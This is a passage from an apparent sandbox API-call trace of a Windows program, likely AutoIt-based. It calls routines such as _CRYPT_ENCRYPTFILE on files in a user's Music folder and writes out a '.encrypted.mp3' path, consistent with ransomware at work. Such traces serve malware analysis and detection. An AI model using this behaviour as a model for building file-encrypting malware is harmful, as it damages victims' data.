cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.991] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.991] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.991] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.991] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.992] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.992] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.992] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.994] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.994] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6752) returned 1 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.994] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1a60, lpOverlapped=0x0) returned 1 [0026.994] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1a60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.994] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6752) returned 1 [0026.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.encrypted.mp3\r\n", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0026.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.encrypted.mp3\r\n", cchWideChar=57, lpMultiByteStr=0xe8f4051630, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\Sy4u8T-k4V-TX.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 57 [0026.995] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40513b0*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40513b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x38, lpOverlapped=0x0) returned 1 [0026.995] CloseHandle (hObject=0x188) returned 1 [0026.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.995] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.996] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.996] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.996] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.996] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.996] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.997] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.997] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.997] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.998] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.998] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\0u --GozCqve1q5P.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0026.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\0u --GozCqve1q5P.wav", cchWideChar=65, lpMultiByteStr=0xe8f4051e00, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\0u --GozCqve1q5P.wav", lpUsedDefaultChar=0x0) returned 65 [0026.998] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\0u --GozCqve1q5P.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\0u --gozcqve1q5p.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0026.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=65, lpWideCharStr=0xe8f4068930, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\0u --GozCqve1q5P.wav") returned 65 [0026.999] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.999] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.999] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.999] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.000] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178680, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.000] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.000] CloseHandle (hObject=0x188) returned 1 [0027.000] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.000] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.000] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.000] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.000] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.000] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.000] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.000] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.000] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.000] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.001] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.001] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.001] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.001] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.001] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.001] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.001] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.002] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.002] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.002] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, 